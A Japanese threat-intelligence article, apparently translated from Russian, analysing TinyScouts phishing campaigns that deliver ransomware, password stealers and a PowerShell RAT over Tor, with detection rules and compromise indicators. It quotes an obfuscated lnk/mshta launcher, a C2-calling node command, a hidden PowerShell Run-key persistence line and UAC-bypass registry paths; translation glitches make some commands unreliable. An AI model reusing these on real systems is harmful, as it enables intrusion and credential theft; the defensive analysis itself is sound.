見た目より少し難しい:TinyScoutsが攻撃する方法

少し前に、これまで知られていなかったマルウェアでお客様のインフラストラクチャを感染させる試みの記録を開始しました。それはフィッシングメールを通じてユーザーに配信され、コロナウイルスの第2波に捧げられることもあれば、攻撃された組織のために明らかに「研ぎ澄まされ」、その活動に関連することもありました。攻撃者は、Norilsk Nickel、ロシアの産業主義者と起業家の連合、Finauditserviceなど、さまざまな既存の企業を装った。







グループの活動の2つの側面は注目に値しました。1つは攻撃者の高度な技術スキル、もう1つは攻撃シナリオの多様性です。被害者として興味がない場合は、パスワードを盗んでデータを暗号化しますが、マシンが興味のあるドメインにあり、より興味深い攻撃開発の可能性がある場合は、PowerShellで記述されたリモート管理ツール(RAT)をダウンロードします。悪意のあるコードの関数の名前にちなんで、グループにTinyScoutsという名前を付けました。この記事では、2020年7月と8月の月ごとに条件付きで分割できる彼女の最後の2つのキャンペーンについて説明し、TinyScoutsのツールとスクリプトの完全な分析を行います。



7月のキャンペーン。直接ダウンロード





7月に、マルウェアは次のコマンドを実行するlnkファイルの形式で配布されました。



%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_^^.z^ip\!a!)


mshta.exeを実行した結果、難読化されたJSスクリプトが実行されました。そのタスクは、注意をそらすためにlnkファイルの本文からドキュメントを抽出し、rundll32.exeを介してそれを開き、難読化されたPowerShellコマンドを実行することです。







難読化解除後のスクリプトの断片を以下に示します。toexecute変数のスクリプトは、Decide(decide.phpへの要求)という名前の別の難読化されたPowerShellスクリプトをロードして実行します。難読化の例を以下に示します。







このスクリプトのタスクは、コンピューターがいくつかのパラメーターに準拠しているかどうかを確認し、サーバーから次のロードをダウンロードすることです。難読化解除されたコードのスニペットを以下に示します。







ダウンロードする必要のある負荷を判別するために、TeamViewer、RDPセッションの存在、およびドメインへのログインの事実がチェックされます。「興味深い」システムの場合、RATがロードされます。それ以外の場合は、暗号化機能がロードされます。どちらの場合も、これらはいくつかのレイヤーで難読化されたスクリプトです。



8月のキャンペーン(進行中)。Tor隠しサービス







8月の初めに、配布スキームが変更されました。現在、レターには、4つのファイルを含むsfx-archiveをダウンロードするためのリンクが含まれています。



  • document.doc。気を散らすために開かれ、悪意のあるペイロードを運ばないドキュメント。
  • 7za.exe。7z-アーカイバー。
  • wget.exe。オリジナルのwgetユーティリティ。
  • サービス。JSスクリプトステージャー1


sfxアーカイブを開始すると、次のアクションが実行されます



。1)document.docが開かれます



。2)wgetと7zを使用して、TORとnode.exeが次のリンクからダウンロードおよび解凍されます



。www.torproject.org / dist / torbrowser / 9.5.1 / tor- win32-0.4.3.5.zip



nodejs.org/dist/latest-carbon/win-x86/node.exe



3)node.exeを使用して、Stager 1スクリプトが起動されます



。C:\ Windows \ System32 \ cmd.exe "/ c ifホスト名が存在しません(ノードサービス192.248 [。] 165.254)



以下は難読化解除されたStager1スクリプトです。







サービススクリプトは、引数として制御サーバーのアドレスを受け取り、起動すると、TOR隠しサービス(https://2019.www.torproject.org/docs/onion-services)を作成します。非表示のTORサービスが起動されると、その名前が生成されることに注意してください(たとえば、vkss134jshs22yl3li2ul.onionなどのTORネットワーク内の通常のリソースの名前に似ています)。次に、スクリプトは生成された隠しサービス名を攻撃者に送信し、ローカルWebサーバーを起動します。続いて、攻撃者はWebサーバーへの要求/応答モード(コードの19行目)で感染したシステムと通信します。要求には実行用のコードが含まれ、応答には結果が含まれます。



このアーキテクチャにより、攻撃者は、NATの背後にある場合でも(主な条件はインターネットの存在です)、感染したシステムにアクセスでき、被害者の「白い」IPアドレスを知る必要がなくなります。



発生したWebサーバーへの最初の要求はDeciderスクリプトです。このスクリプトのタスクは、コンピューターがドメインに参加しているという事実を判別し、ユーザー名を取得することです。今回は、TeamViewerとRDPのチェックはありません







。Deciderスクリプトの結果が攻撃者に送信された後、攻撃者の関心に応じて、ランサムウェアまたはRATのいずれかを含むWeb要求が感染したシステムに到着します。







両方のキャンペーンに共通のモジュール



Stager3スクリプト



メインスクリプトには、base64でエンコードされた5つのコンポーネントが含まれています。



  • Encryptorランサムウェア
  • Readme
  • WebBrowserPassView
  • Mail PassView
  • Injector. , WebBrowserPassView Mail PassView svchost. RunPE.


Stager 3スクリプトの機能



1)ランサムウェアの起動(Get-Stuff関数)



以下は、ランサムウェアの起動に伴うスクリプトコードのフラグメントです:







2)UACのバイパス(シャドウコピーを削除するため)



コードには、csmtp.exe、CompMgmtLauncher.exe、およびCompMgmtLauncher.exeの3つの手法があります。 fodhelper.exe。あなたはここここ、そしてここでそれらについて読むことができます



3)シャドウコピーの削除



4)WebBrowserPassViewとMail PassViewの起動



これらは、それぞれブラウザと電子メールクライアントからパスワードを抽出するためのNirsoftのユーティリティです。











5)前述のユーティリティのレポートを管理サーバーに送信します。



送信する前に、レポートは生成されたキー(4文字)を使用してRC4アルゴリズムで暗号化されます。







キー自体はメッセージの先頭に配置されます。







Encryptorランサムウェア



readmeメッセージは次のようになります







。暗号化機能は、難読化されていない.NET実行可能ファイルです。ファイルはAESアルゴリズムで暗号化されます。ファイルごとに個別のキーと初期化ベクトルが生成され、RSA公開キーを使用して暗号化され、暗号化されたファイルに配置されます。ランサムウェアの主な機能を以下に示します。







RAT



このスクリプトには、いくつかの難読化の層があります。復号化後、次のコマンドを実行できます。



  • 削除-自己削除
  • exec -PowerShellコマンドを実行します
  • ダウンロード-ファイルをダウンロードします
  • set_wait_time-コマンド要求の頻度を変更します
  • update_tiny -RATを更新します
  • run_module -PowerShellコマンドブロックを実行します
  • add_persist_module -RATが開始されるたびに実行されるPowerShellモジュールをシステムに追加します。
  • remote_persist_module -RAT起動リストからモジュールを削除します。


難読化解除されたコマンド処理機能を以下に示します。







修正方法



固定には2つのキーが使用され



ます1)HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run。次のコマンドがこのキーに配置されます(行は難読化解除されます)。



cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»


2)HKCU \ SOFTWARE \ Microsoft \ Windows。これは、スクリプトがclient_idという名前の値に格納される場所です。したがって、システムが起動すると、実行キーからのコマンドがここからスクリプトを読み取って実行します。

client_idは、AppX + base64形式(ホスト名+ユーザー名+キャンペーンID)の文字列です



。ピン留め関数は次のよう







になります。実行に配置される復号化されたスクリプト:







マルウェアコードはディスクにもレジストリにも保存されないことに注意してください。毎回新しく読み込まれます。上記のスクリプトで。



Add_persist_moduleコマンド



RATには、起動するたびに実行されるPowerShellモジュールを追加する機能があります。このために、モジュール識別子を格納する個別のレジストリキーが使用されます。起動時にこのキーがチェックされ、マルウェアはサーバーに要求を行い、すべてのモジュールを識別子でダウンロードします。







マルウェアが起動すると、Load-AllPersistModules関数が起動して、追加されたすべてのモジュールが起動します。







モジュールコードも、RATの本体と同様に、ディスクやレジストリに保存されません。



サーバーの相互作用



このコードには、起動時にRATを暗号化キーとして登録するときに使用されるCampaignID定数が含まれています(register-tiny関数)。暗号化アルゴリズムはRC4です。システムに関する主要な情報を送信した後、サーバーの応答には暗号化キーが含まれます。暗号化キーは、将来同じアルゴリズムで使用されます。







キャンペーンデータ発見の技術的側面



これまたはそれを検出する方法の質問に答えて、すべてのルールを2つの大きなグループに分割しようとします。



  • システム全体の異常の検出、
  • 特定の会社/家族/機器の異常検出。


システム全体の異常検出



中間サーバーとnとの相互作用:

7月のキャンペーンでは、このアクティビティの検出とブロックに関して、IPアドレスとドメイン名をブロックリストに追加するだけで、アクセスの試行を監視することを忘れないでください。



8月の企業では、ネットワークディスカバリーの側面でより困難になりました。ここでは、次の点に注意する価値があります。



  • 監視のために、IPアドレスとドメイン名の一部をブロックして取り出すことができます。
  • TORを介したネットワークアクティビティの存在により、このネットワークの構築に参加しているIPアドレスのリストを保存して動的に更新する必要があります。そしてここで、私たちにとって、検出ルールはTORネットワークからのIPアドレスへのアピールである可能性があります。
  • , - ( Stager 1 ), SYN- TCP- . TOR Hidden Service . rendezvous point « » ( ) SYN- TCP- , .


どちらのキャンペーンでも、使用されている特定のPowerShellメソッドまたはそれらのBase64変換フォームを検出することを目的とした一連のIDSルールが非常にうまく機能します。



ターゲットシステムでのコードの実行



イベントには、WindowsAuditとSysmonの2つのソースがあります。



PowerShellスクリプトブロックログ



実行中のPowerShellスクリプトのレコードを含むログ。次のパスにあります:アプリケーションとサービスのログ> Microsoft> Windows> Powershell> Operational。



使用中の特定のPowerShellメソッドを検出することを目的とした検出ルールは、これらのキャンペーンのアクティビティを検出するのに役立ちます。



セキュリティログ(またはSysmon)



プロセスの開始-4648(1)



このアクティビティを検出するには、父->子プロセスに関連する異常を検出するための古典的なルールが必要です。これらのバンドルは、ホストでの起動プロセス中に適切に追跡されます。md-> mshta、cmd-> powershell、mshta-> powershell、rar-> rundll32、node-> wmic



また、起動プロセスの疑わしいパラメーターを追跡するためのルールが役立ちます。powershell-e“ base64 »



プロセスネットワーク接続-5156(3)



PowerShellプロセスからホワイトIPアドレスへのネットワーク接続を検出するためのルールは、このアクティビティの検出に役立つはずです。



また、8月のキャンペーンでは、127.0.0.1への内部プロキシトラフィックを検出するためのルールが大いに役立ちます(これはTORとローカルWebサーバーが行うことです)。



エントリの登録-4657(13)



PowerShellで記述されたRATは、共通のレジストリブランチHKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Runを通じてその存在を保持します。つまり、このパスに沿ってレコードを監視するためのルールがオプションです。



UACテクノロジーをバイパスする試みの検出:次のレジストリブランチの変更-



HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration


特定の会社/家族/機器の異常検出



ターゲットシステムでのコードの実行



プロセスの開始-4648(1)



ここでは、プロセスの開始の疑わしいパラメーターを追跡するためのルールが必要です。C:\ Windows \ System32 \ cmd.exe "/ c存在しない場合ホストホスト(ノードサービス)

レジストリへの書き込み-4657(13 )



PowerShellで書かれたRATは、また分岐レジストリHKCU \ SOFTWARE \マイクロソフト\ Windowsの設定でプレゼンスを維持し、そのための検出のために、我々は、このパスに沿って記録値«のclient_id»を追跡する必要があります。



インジケータ妥協:



a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254 
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170


投稿の著者:



JSOC CERT部門のサイバーインシデント調査部門の責任者、Igor Zalevsky、

JSOCCERT部門の技術調査エキスパートであるAskerJamirze



All Articles